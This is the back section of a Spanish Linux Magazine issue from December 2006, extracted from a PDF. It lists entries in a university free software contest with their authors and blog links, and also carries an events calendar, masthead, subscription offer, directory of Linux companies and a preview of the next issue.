Juan Luis Prieto Martínez
URL
http://www.lacoctelera.com/doceval
DOMINAREKDominarek es un juego de dominó multi-usuario, donde se podrá jugar contra lamáquina o con otros jugadores por internet.
Autores
Manuel Flores Vivas
URL
http://dominarek.wordpress.com/
EASY-KERNELUtilidad para principiantes que automatiza lacompilación del kernel en sistemas Linux.
Autores
Roberto Alfonso Perera
EDICIÓN ONLINE DE CONTENIDOS ESTRUCTURADOS
Módulo de software para la edición on-line decontenidos estructurados mediante la apli-cación de tecnologías como XML, AJAX yXFORMS
Autores
Alberto González Cristiano
Ricardo Campos García
Francisco Zanón Ordóñez
EDUCO-MATEMÁTICASAplicación para el uso didáctico dirigida aestudiantes de primer y segundo curso de pri-maria de la asignatura de matemáticas.
Autores
Javier Almagro Abellán
URL
http://javiblog.wordpress.com/
EMULADOR DE ENSAMBLADOREmulador de ensamblador modular escritoen Python y GTK.
Autores
Francisco Suárez Muñoz
Jaime Cabot Campíns
Iván Ruiz Monjo
ENTORNO VIRTUAL 3D PARA DESARROLLO DEAPLICACIONES
Componentes básicos de todo entorno 3D
para el posterior uso en videojuego u otrasaplicaciones interactivas.
Autores
David Gras Reyes
Pablo Jimena López
Pablo Lloréns Lledó
URL
http://virtual3d.wordpress.com/
EPOL (ENTORNO DE PROGRAMACIÓN ON-LINE)
Entorno de programación en línea para desar-rollar, compilar y descargar los ejecutablesgenerados por los lenguajes C, C++, ADA yJava.
Autores
Idafen Santana Pérez
Rubén Quesada López
EUREKA CATALOGUERSoftware para catalogar información almace-nada en discos compactos, unidades USB yotros sistemas de almacenamiento. Este soft-ware permite manejar la información salvadasin necesidad del soporte físico.
Autores
Jesús Requejo Monzón
FORMULACIÓN MAGISTRALPrograma de gestión y tasación de fórmulasmagistrales que permite llevar un control depacientes, médicos, productos, envases, etc…y cumplir con la legislación actual sobreprospectos e indicaciones.
Autores
Alvaro Cortés Cabrera
URL
http://formulacionmagistral.wordpress.com/
FREE HARDWARE MANAGERGestor de hardware avanzado que permite ladetección y configuración de dispositivos.
Autores
Manuel Angel Abeledo Garcia
Esteban Paz Freire
GASOLINERASExtensión para Mozilla Firefox, que analiza losdatos ofrecidos en la pagina web del Ministe-rio de Industria y nos muestre las gasolinerasmás baratas, así como su ubicación y precioen función del carburante indicado.
Autores
F. Javier Delgado Seva
URL
http://yson.wordpress.com/
GCONTA 2.0Porte de la aplicación gconta [gconta.sf.net], auna nueva arquitectura más flexible que per-mita un sistema de plugins para el entorno deescritorios Gnome
Autores
COMUNIDAD · Concurso de Software Libre
90 Número 22 W W W . L I N U X - M A G A Z I N E . E S
URL
http://ext3z.wordpress.com/
CONTROL POR VOZAplicación modulable dedicada a hacer acce-sible otros programas vía voz para su uso porpersonas discapacitadas.
Autores
Alejandro Díaz Torres
DEBCULTUREPrograma que usará el sistema de empaque-tado de Debian para la distribución de mater-ial cultural, musical, multimedia, etc…
Autores
Jesús Espino García
URL
http://debculture.wordpress.com/
DEBIAN GNU/HURD & GNOMEDistribución Debian/HURD con escritorio.
Autores
Marc Poch Mallandrich
URL
http://errno.wordpress.com
DEMOSTRADOR AUTOMÁTICO PARA LALÓGICA DE PRIMER ORDEN
Programa para analizar la consistencia de fór-mulas lógicas de primer orden.
Autores
Juan Jesús Gutiérrez Ramos
DESARROLLO DE UN MOTOR PARA LACREACIÓN DE JUEGOS RPG 2D
Motor para la creación de juegos RPG 2D,junto con un juego que demuestre las posibili-dades del motor.
Autores
David Pol Ahonen
Albert Amengual Galindo
Emilio Perelló Alcal
URL
http://www.bmox.net/blog/
DESARROLLO DE UN SIMULADOR DE ROBOTMÓVIL AUTÓNOMO
Simulador de robot móvil y autónomo.
Autores
Maria del Mar Jiménez Torres
DETECCION DE BOTNETS EN REDES LOCALESAplicación que analiza el tráfico que atravieseuna red local en busca de tráfico sospechosode ser usado por una botnet y tomar de formaautomática las medidas aportunas.
Autores
Adrian Belmonte Martin
DISEÑO UML EN ENTORNO WEBHerramienta web para la edición UML enlínea.
91Número 22W W W . L I N U X - M A G A Z I N E . E S
Concurso de Software Libre • COMUNIDAD
Juan Amador Álvarez Fernández
Manuel Felipe Gamallo Rivero
GUADALINEX-US PARA APPLE MACINTOSH SOBRE INTEL
Adaptación de la distribución Guadalinex parala Universidad de Sevilla a los nuevos AppleMacintosh con procesador Intel de formanativa.
Autores
Jose Antonio del Corral Alcaraz
URL
http://guadalinexmac.wordpress.com/
GUIDE PARA OCTAVEEntorno gráfico para diseño de interfaces deusuario de aplicaciones para Octave.
Autores
Juan Pedro Cobos Carrascosa
HELLDebugger grafico para plataformas x86 ylinux/unix que se asemeja a aplicaciones yaexistentes en windows como ollydbg, IDAProo SoftICE.
Autores
Manuel Martín de Miguel
Davíd Morán Antón
URL
http://helldbg.wordpress.com/
JITUNESReproductor y organizador de archivos demúsica que permiten la utilización de pluginspara añadirle nuevas características comocompartir, buscar y puntuar los ficheros deaudio, reproducir radio a través de internet…
Autores
Rafael Valenzuela Moraleda
Borja Martin Sánchez de Vivar
KANA DSAplicación para aprendizaje de los silabariosHiragana y Katakana del lenguaje Japonés,además de los Kanji correspondientes al niveloficial JLPT-4(80 ideogramas)
Autores
Julio Gorgé
URL
http://kanads.blogspot.com/
KONQUEROR EN ESTEROIDESAmpliación notable del navegador Kon-queror. Cabe destacar un nuevo sistema demarcadores, una papelera de páginas cer-radas, la mejora del sistema de sesiones y laeliminación de huellas.
Autores
Eduardo Robles Elvira
Daniel García Moreno
MÜCHIGAMEJuego de simulación de la vida real de los
Müchis, en el que podrás explorar su mundoy acompañar en el crecimiento al personaje alo largo de su corta vida durante las aventurasque puedan ocurrir.
Autores
Juan Belón Pérez-Higueras
Xavi Rivilla Frias
URL
http://www.agenciaq4.com/muchigame/
MODIFICACIÓN DE OSCOMMERCE PARAPOTENCIAR EL COMERCIO ELECTRÓNICO
Amplicación de la aplicación OSCOMMERCEpara facilitar a los usuarios menos familiariza-dos con las nuevas tecnologías la creación denuevos proyectos comerciales en la red.
Autores
Javier Pulido García
MSILCCCompilador de lenguaje MSIL a lenguaje Cpara poder usar lenguajes de alto nivel paraprogramar sistemas empotrados y de bajonivel.
Autores
Pablo Iñigo Blasco
MUSICQUIZZJuego inspirado en el original del iPod deApple que reproduce fragmentos de tu propiabiblioteca musical y muestra, al mismotiempo, algunas opciones donde el jugadortendrá que seleccionar la pista correcta que seestá escuchando en el menor tiempo posible.
Autores
Jacobo Tarragón Cros
William Viana Soares
Víctor Muñoz Ferrara
NASUPP:NAVAJA SUIZA PARA PDF Y POSTSCRIPT
Frontend gráfico que facilita la manipulaciónde ficheros PDF/postScritp apoyado en lasherramientas psutils, pdfjam, poppler-utilsen.
Autores
Francisco Luis Araña Cruz
NETSHAREAplicación gráfica que facilita la tarea de con-figuración de una red doméstica por usuariospoco experimentados.
Autores
Antonio González Romero
URL
http://tivi.wordpress.com/
NEUROCIENCIA COMPUTACIONALSistema, similar al ya existente T9, que utilizaun modelo computacional de la corteza cere-bral, o neocórtex, para jerarquizar y predecirlas interacciones del usuario con el terminal.
Autores
Marcos Cobeña Morián
Bruno Orcha García
URL
http://gconta.wordpress.com/
GESTIÓN DE ESCUELAS DE DANZAAplicación para la gestión de escuelas dedanza. Escrita en C y con interfaz gráfica enGTK.
Autores
Jorge Luis Arévalo de Soto
URL
http://jorgearevalo.wordpress.com/tag/proyectos/gestor-de-academias/
GESTIÓN DE PROYECTO FIN DE CARRERA (GPFC)Versión de escritorio del programa GPFC,usada por el profesorado para la gestión deProyectos de Fin de Carrera.
Autores
José Félix Ontañón Carmona
GESTIÓN INTEGRAL DE CENTROS EDUCATIVOSAplicación web orientada a la gestión de cen-tros educativos tanto de primaria cómosecundaria con capacidad para gestionartrámites administrativos y académicos de losalumnos y alumnas.
Autores
Fernando Mayo Fernández
GESTIONGPrograma para la gestión contable y de sociosde pequeñas asociaciones sin ánimo de lucro.
Autores
Francisco Santiago Capel Torres
Sara Oñate
Isabel Cánovas García
GROONAN LINUX FROM SCRATCHSoporte para la instalación automática deLinux From Scratch a partir de configura-ciones en XML.
Autores
Pablo Palazón Sánchez
URL
http://groonanlfs.wordpress.com/
GSTICELibrería de soporte que posibilita la trans-misión de un flujo de datos en entornos inter-net/intranet. Separa en canales varias transmi-siones simultáneas, logrando que diversosclientes puedan utilizar más de un canal almismo tiempo.
Autores
Diego Martín-Serrano Fernández
Óscar Aceña Herrera
GUÍA CINEMATOGRÁFICA MULTIUSUARIO CONSISTEMA DE REGLAS
Sistema experto para la evaluación delargometrajes.
Autores
PROYECTO EDUKICMS desarrollado para la utilización en cen-tros educativos. Permite la publicación deinformación sobre consulta de notas, catálogode bibliotecas, tutorías virtuales, etc.
Autores
Guillermo Grande Vidal
PROYECTO OPEN PIPEProyecto que mezcla software libre y hard-ware libre para crear un instrumento musicaldigital para músicos que tocan instrumentosde viento.
Autores
Santiago José Barro Torres
QTOCTAVEFront-end en QT para Octave que facilita el tra-bajo del usuario final con esta herramienta decálculo matemático compatible con Matlab.
Autores
Pedro Luis Lucas Rosado
URL
http://qtoctave.wordpress.com/
RAPYDO – RADIOLOGICAL ANALYSIS INPYTHON FOR DEVELOPERS
Framework orientado al campo del análisis deimágenes médicas que proporciona unentorno de desarrollo sencillo y con una curvade aprendizaje corta, utilizando como pilaresfundamentales ITK y VTK.
Autores
José Ángel Montelongo Reyes
URL
http://rapydo.wordpress.com/
REESCRITURA DE LA INTERFAZ WEB DE GNUMAILMAN
Creación de una nueva interfaz de gestiónpara el archiconocido servidor de listas decorreo GNU Mailman.
Autores
Alvaro Uría Avellanal
URL
http://fermat.wordpress.com/
REMANDO CONJUNTAMENTEPlataforma digital para una red de inserciónlaboral para personas en riesgo de exclusiónsocial que aune los esfuerzos y recursos dedistintas entidades que trabajen en estecampo.
Autores
David Rodríguez Vicente.
URL
http://remando.blogia.com/
SEGURIDAD VIALJuego educativo orientado hacia los másjóvenes para que estos se conciencien de laimportancia de la seguridad vial.
Autores
Daniel Garrido Garrochena
URL
http://evial.wordpress.com
SERVIDOR WEB IMPLEMENTADO EN CServidor web implementado en C más ligero ycon el máximo de características, haciendomayor énfasis en crear un servidor seguro.
Autores
Toni Pizà
URL
http://serverweb.wordpress.com/
SHARP KNOCKINGAplicación que, usando las herramientas deNetfilter, gestionará la apertura y cerrado depuertos de una máquina de forma dinámicadependiendo si se da la orden o no para usarun puerto determinado.
Autores
Miguel Ángel Pérez Valencia
Luis Román Gutiérrez
URL
http://projects.ilikecoffee.net/sharpknocking/
SIMPROCSimulador para la simulación de procesosautomatizados, ideal para la construcción deprototipos virtuales de maquinaria industrial.
Autores
Óscar Gómez García
URL
http://simproc.wordpress.com
SISTEMA DE AUTENTICACIÓN EN REDES Y 02.11.A/B/G
Sistema de autenticación para redes ethernet owireless con el uso de Smartcards para la certi-ficación del usuario en la red.
Autores
Adrián Yanes Martínez
Martín Gómez Loira
SISTEMA DE COMUNICACIÓN ALUMNO-PROFESOR
Sistema de comunicación basado en la arqui-tectura cliente-servidor para la gestión de datosy comunicaciones entre profesores y alumnos.
Autores
James López Prieto
URL
http://www.bluegod.net/aulachat/
SISTEMA DE GESTIÓN DE ICONOS
Aplicación para gestionar bibliotecas de iconoslocales.
Autores
Juan Colino Barrigón
Jorge Diez Rujas
Jorge Moreno Aguilera
María de La Luz Cabrera Bernal
ORGANIZADOR DE HORARIOS PARA UNIVERSITARIOS
Programa para organizar el horario de unestudiante universitario. Dado un conjunto deasignaturas y horarios, desarrollará diferentesalternativas, facilitando al estudiante estatediosa tarea anual.
Autores
Víctor Moreno Gómez
ORSETTA (GESTOR DE EVENTOS)Sistema Gestor de Contenidos (CMS) orien-tado a la gestión de tareas relacionadas con laorganización de eventos.
Autores
Antonio Martínez Carballo
Marta Prado Fernández
URL
http://orsetta.macada.net
PAINTPOLAplicación que permite que dos o másusuarios dibujen sobre un único lienzoa través de internet. Es una mezcla demensajería instantánea y editor de imá-genes.
Autores
Matías Escudero Martínez
Pablo Novo Giménez
Fernado Fernández-Valdés Pedrosa
URL
http://paintpol.blogspot.com/
PHONEPLOTAplicación que guarda todos los datos gener-ados por una centralita PAB para un posibleanálisis a posteriori.
Autores
Juan Jesús Bolorino Martín
PORTING DE GCC A LA ARQUITECTURA DEL MICROCONTROLADOR PIC16F877
Desarrollo del porting del compilador de Clibre GCC para el microcontrolador deMicrochip PIC16F877
Autores
Pedro José Ramírez Gutiérrez
URL
https://pjmicrocontroladores.wordpress.com/
PROGRAMA DE ANÁLISIS DE EVENTOSDEPORTIVOS
Programa que gestiona y facilita el análisis tác-tico de eventos deportivos
Autores
Andoni Morales Alastruey
URL
http://longomatch.wordpress.com/
COMUNIDAD · Concurso de Software Libre
92 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Concurso de Software Libre • COMUNIDAD
93Número 22W W W . L I N U X - M A G A Z I N E . E S
URL
http://waltz.wordpress.com/
SISTEMA DE GESTIÓN DE UNA CETRALITATELEFÓNICA CON ASTERISK
Programa web que permite gestionar todoslos componentes de una centralita en Aster-isk.
Autores
Luis Pérez Meliá
SISTEMA PARA LA GESTIÓN DEL SERVICIO DEREPROGRAFÍA
Un sistema de control de la reprografía ydocumentos que constará de una interfazweb con DMS, un modulo para enlazar conlos correspondientes drivers de impresión yuna aplicación para la gestión de las impre-siones solicitadas.
Autores
Rubén Marcos Tamargo
URL
http://resete.sytes.net/blog/index.php/category/concurso-univ-software-libre/feed/
SOLUCION PARA CONTROL Y GESTION DEPUESTOS DE UN CYBERCAFÉ
Aplicación cliente-servidor para la gestiónde cybercafés.
Autores
Jorge Peña Cotarelo
URL
http://cotarelo.wordpress.com/
SONORO
Componente de Joomla orientado a lagestión de grupos de música sin derechosde autor.
Autores
Daniel Monedero Tórtola
SPECTAKLE
Suite de aplicaciones de señalética digital.La señalética digital se usa en museos,aeropuertos, estaciones de ferrocarril y otroslugares públicos donde es necesariomostrar información cambiante en tiemporeal.
Autores
Pau García i Quiles
SUBDOWNLOADER
Programa que facilita la búsqueda y poste-rior descarga de subtítulos para diferentesformatos de vídeo.
Autores
Iván García Cortijo
SWAML,SEMANTIC WEB ARCHIVE OF MAILING LISTS
Proyecto de investigación desarrollado en laUniversidad de Oviedo alrededor de las tec-nologías de la Web Semántica para publicar losarchivos de una lista de correo en un vocabu-lario RDF.
Autores
Sergio Fernández López
URL
http://swaml.berlios.de/
TCOS CLIENTES LIGEROS SOBRE DEBIAN
TCOS es un nuevo sistema de arranque porred para terminales ligeros basado en DebianGNU/Linux.
Autores
Mario Izquierdo Rodríguez
URL
http://soleup.eup.uva.es/mariodebian
TERRARIO VIRTUAL
Juego que simula un terrario en el que con-viven diferentes especies virtuales, y que mues-tra la evolución tanto social cómo individual detoda criatura.
Autores
Leandro del Olmo Coto
URL
http://vterrario.blogspot.com/
THINKLINUX
Distribución live basada en SlackWare y orien-tada a cubrir todas las necesidades de losportátiles Thinkpad.
Autores
Daniel Moreno Medina
TORMENTABIERTA
Herramienta multiusuario que permite desar-rollar, publicar y recoger la información de unrepositorio o banco de ideas.
Autores
Daniel Carballo Ruiz
Blanca Maeso González
TRADUCTOR DE TÉRMINOSMULTIPLATAFORMA BASADO EN OCR
Herramienta para el reconocimiento y traduc-ción de palabras que aparecen en la pantalllamediante OCR. Las traducciones se realizarán apartir de un diccionario libre, colaborativo y ges-tionable desde la misma aplicación.
Autores
Diego Sevillano de Miguel
Javier García Palacios
URL
http://cooltran.wordpress.com/
TRADUCTOR LIBRE
Traductor libre (inglés-español) para esta-ciones de trabajo o servidor web, con la posi-bilidad de ir añadiendo nuevos idiomas ycombinaciones de éstos que permitirá la tra-ducción fiable y casi inmediata de artículos ytextos.
Autores
Jorge Novo Novo
TRIVIEDU V1.0
Juego educativo de preguntas y respuestassimilar al Trivial para la enseñanza primariacon soporte para juego en grupos.
Autores
Marta Sanz Casadesús
URL
http://triviedu.blogspot.com/
WEBDEVSTUDIO – ENTORNO DE DESARROLLOINTEGRADO ONLINE
Entorno de desarrollo integrado (IDE) onlinepara mantener proyectos informáticos imple-mentados en diferentes lenguajes de progra-mación en un servidor y poder acceder a él ytrabajar con ellos mediante un navegadorweb.
Autores
Israel Ortiz Flores
XAJAX + CMS = XCMS
Implementación de nuevas funcionalidadespara el CMS (Moodle) con el fin de alcanzar unnuevo nivel de interactividad por parte de losusuarios.
Autores
Francisco Jesús Gómez Rodríguez
José Antonio Pizarro Romanillos
Rubén Martínez Jiménez
URL
http://xcms.wordpress.com/
ZZUI
Interfaz gráfica para la herramienta opensource7zip, una herramienta de compresión/decom-presión de archivos que en su versión GNU/Linux sólo está disponible mediante interfaz deconsola.
Autores
Christian López Espínola
Pedro Laguna Durán
Olga Domínguez Gil
URL
http://zzui.wordpress.com/
94
EVENTOS
94 Número 22 W W W . L I N U X - M A G A Z I N E . E S
Debconf 7
Fecha: 17-23 Junio 07
Ciudad: Edinburgo,RU
Sitio Web: http://www.debconf.org
I Concurso Universitario de
Software Libre
Fecha: 1 Sep. - Junio 07
Ciudad: Sevilla, España
Web: http://concurso-softwarelibre.us.es
FOSDEM 2007
Fecha: 24-25 Feb 07
Ciudad: Bruselas,Bélgica
Web:http://www.fosdem.org
Información de Contacto
DirectorPaul C. Brown
CoolaboradoresPaul C. Brown, Jose Manuel González Vida, JuanRafael Fernández, Pedro Orantes, José María Ruíz,Alberto Planas, Jose A. García, Ana Mª Ferreiro
TraductoresPaqui Martín Vergara, Paul C. Brown, VíctorTienda, Oliver Kurz.
MaquetaciónFran Sánchez
Diseño de [email protected]
Publicidadwww.linux-magazine.es/pub/
Para EspañaMarketing y Comunicaciones [email protected].: (+ 34) 951 010 556Fax.: (+ 34) 951 010 516
Paul C. [email protected].: (+ 34) 951 010 556Fax.: (+ 34) 951 010 516
Para el Resto del MundoBrian Osborn [email protected] Tel.: (+49) 6509 910 495Fax.: (+49) 6509 910 497
Director EditorialPaul C. Brown
Jefe de ProducciónJuan Miguel Ramírez
Subscripciones:www.linux-magazine.es/magazine/subs
Precios Subscripción España: 54,90 €Europa: 64,90 €Resto del Mundo - Euros: 84,90 €
Tel.: (+34) 951 010 556Fax.: (+34) 951 010 516 [email protected]
Linux MagazineLinux New Media Spain, S.L.Avda. Juan López Peñalver, 2129590 - Campanillas Málaga ESPAÑA [email protected].: (+34) 951 010 556Fax.: (+34) 951 010 516
www.linux-magazine.es - Españawww.linux-magazine.com - Mundowww.linux-magazine.de - Alemania
Si bien se toman todas las medidas posibles paragarantizar la precisión del contenido de los artículos publi-cados en Linux Magazine, la editorial no se hace responsable de imprecisiones aparecidas en larevista. Asimismo, Linux Magazine no compartenecesariamente las opiniones vertidas por suscolaboradores en sus artículos. El riesgo derivado del uso del DVD y el material que contiene corren por cuenta del lector. El DVD es estudiado escrupu-losamente para confirmar que está libre de virus y errores.
Copyright y Marcas Registradas © 2006 Linux NewMedia Spain, S.L. Linux New Media Spain S.L. prohíbela reproducción total o parcial de los contenidos deLinux Magazine sin su permiso previo y por escrito.Linux es una Marca Registrada de Linus Torvalds.
Impreso en Alemania
Impresión: Dierichs Druck + Media GmbH
Distribución: SGEL
Depósito Legal: MA-116-2005
ISSN edición impresa: 1576-4079
ISSN edición online: 1699-2237
Calendario de Eventos
Evento Fecha Ciudad Sitio Web
T-DOSE 2-3 Diciembre Eindhoven,Holanda www.t-dose.orgOpen Source Developers' Conference 5-8 Diciembre Melbourne,Australia www.osdc.com.au/Secure Linux Administration Conference 7-8 Diciembre Berlín,Alemania www.heinlein-support.de/slac23rd Chaos Communication Congress 27-30 Diciembre Berlín,Alemania events.ccc.de/congress/2006linux.conf.au 2007 15-20 Enero 07 Sydney,Australia http://lca2007.linux.org.au14.DFN-Cert-Workshop 7-8 Febrero 07 Hamburgo,Alemania www.cert.dfn.de/events/ws/2007/SCALE 5x 10-11 Febrero 07 Los Ángeles,CA,EE.UU. http://www.socallinuxexpo.orgVancouver PHP Conference 2007 12-13 Febrero 07 Vancouver,Canadá http://vancouver.php.net/node/360LinuxWorld OpenSolutions New York 14-15 Febrero 07 Nueva York,EE.UU. www.linuxworldexpo.com/live/14Open Source Developers' Conference 20-22 Febrero 07 Netanya, Israel www.osdc.org.il/2007FOSDEM 2007 24-25 Febrero 07 Bruselas,Bélgica www.fosdem.orgPyCon 2006 24-26 Febrero 07 Addison,TX,EE.UU. us.pycon.orgUKUUG Spring 2007 Conference 19-21 Marzo 07 Manchester,RU www.ukuug.org/events/spring2007FOSE 2007 20-22 Marzo 07 Washington,DC,EE.UU. http://www.fose.comETech Conference 2007 26-29 Marzo San Diego,CA,EE.UU. http://conferences.oreillynet.com/etechfisl 8.0 15-18 Abril 07 Porto Alegre,Brasil fisl.softwarelivre.org/8.0/www/Web 2.0 Expo 2007 15-18 Abril 07 San Francisco,CA,EE.UU. http://www.web2expo.comDebconf 7 17-23 Junio 07 Edinburgo,RU http://www.debconf.org
Más del 30% de descuento respecto al precio de portada: Consigue 12 números por 54’90 Euros y todos los DVDs ¡Gratis!
A diferencia de otras publicaciones, Linux Magazine no llenará tu buzón de recordatorios para que renueves tu subscripción. Ésta se renovaráautomáticamente cada año. Recibirás una confirmación aproximadamente 30 días antes del final de tu periodo de subscripción, pero no serequiere que hagas nada para seguir suscrito.
¡No te pierdas Linux Magazine nunca más! La subscripción te asegura que recibas los conocimientos Linux de más alta calidad en tu domiciliocada mes.
Si por cualquier motivo decides dejar de leer Linux Magazine, puedes cancelar tu subscripción en cualquier momento. Te abonaremos el preciode todos los números que no hayas recibido. Sin preguntas, sin fechas de cancelación, sin problemas.
Linux Magazine es algo más que una revista de Linux. Patrocinamos grupos, congresos, proyectos y eventos relacionados con el Software Libre.Suscribiéndote a Linux Magazine garantizas que podamos seguir apoyando al Software Libre allá donde haga falta.
LINUX LOCAL
97Número 21W W W . L I N U X - M A G A Z I N E . E S
Andalucía
Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8
Gesinfo [email protected] www.gesinfoweb.com � � � � � �
BitRock [email protected] bitrock.com � �
Properly Software [email protected] www.properly.es/site � �
GuadaGames [email protected] www.guadagames.com �
Virtua [email protected] www.virtua.es � � � �
LINUX LOCALLeyenda
1.- Hardware
2.- Software / Desarollo
3.- Formación
4.- Soporte / Consultoría
5.- Servidores
6.- Redes
7.- Migración
8.- Hospedaje
Cataluña
Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8
IWS [email protected] www.iws.es � � � � � �
Madrid
Logo Empresa Correo-e Web 1 2 3 4 5 6 7 8
Mono::labs [email protected] www.monolabs.com � � � � � �
Datum [email protected] www.datum.ws � � � � � �
Opentia [email protected] www.opentia.es � � � � � �
Linux Local es el directorio de servicios y empresas de Linux cerca de ti.
¿Necesitas soporte, hardware, formación? Consulta Linux Local y encuen-
tra quién ofrece qué y dónde. El directorio se divide en regiones autóno-
mas para ayudarte a localizar las empresas que ofrecen servicios cerca de ti. Uti-
liza la leyenda de la derecha para encontrar la empresa que ofrece el servicio
que precises.
Linux Local es tu guía de servicios Linux.
¿Por qué no está su empresa eneste directorio?
LINUX MAGAZINE llega a miles de empresas, profesionales y usuarios cada mes.
Si tiene servicios o productos Linux que ofrecer ¡Llámenos!
Tlf.: +34 951 010 556
Fax: +34 951 010 516
98
PRÓXIMO NÚMERO
98 Número 22 W W W . L I N U X - M A G A Z I N E . E S
VIRTUALIZACIÓN
El milagro de la virtualización permite una mayor
protección y estabilidad al separar el entorno de eje-
cución del sistema base subyacente. El mes que
viene te traemos un estudio práctico sobre la virtua-
lización que permitirá decidirte si era ésta la tecno-
logía que andabas buscando.
Comenzaremos nuestra andadura con un artículo
sobre el funcionamiento de Xen, el más popular de
los monitores de máquinas virtuales, y aprovechare-
mos para mostrar de lo que es capaz su última ver-
sión.
Veremos VServer, que suministra virtualización
con un impacto mínimo en el rendimiento del sis-
tema huésped.
Finalmente sometemos VMware ESX Server al
escrutinio de dos veteranos y exigentes administra-
dores de sistemas: Charly Kühnast y Jürgen Backes.
¿Estará el software a la altura de sus expectativas?
Si deseas ponerte al día en lo que puede hacer la
tecnología de la virtualización, no te pierdas Linux
Magazine 23.
THIN CLIENTSA pesar de lo que pudiera parecer, no son necesarios
Samba ni NFS para soportar clientes sin disco. Un disposi-
tivo de bloques remoto permite mejorar el rendimiento,
acelerar el acceso y maximizar la eficiencia más allá que
ninnguna otra solución.
Dirk Von Suchodoletz y Thorsten Zitterell nos mostrarán
cómo se las ingeniaron con esta poco explotada y sorpren-
dente técnica en un centro TIC de la Universidad de Fri-
burgo.
PESSULUS Y SABAYON
Si precisas restringir los permisos de los usuarios en
un entorno multiusuario, conviene que veas lo que
pueden ofrecerte tanto Pessulus y Sabayon, dos nue-
vos componentes del escritorio Gnome. Estas herra-
mientas te permitirán perfilar más detallada y limpia-
mente la seguridad y la propiedad de los recursos a
un coste cercano a cero.
Te enseñamos cómo los administradores de siste-
mas profesionales utilizan estos dos componentes.
A LA VENTA: DICIEMBRE 2006
Diciembre 2006: Número 22
PRÓXIMO NÚMERO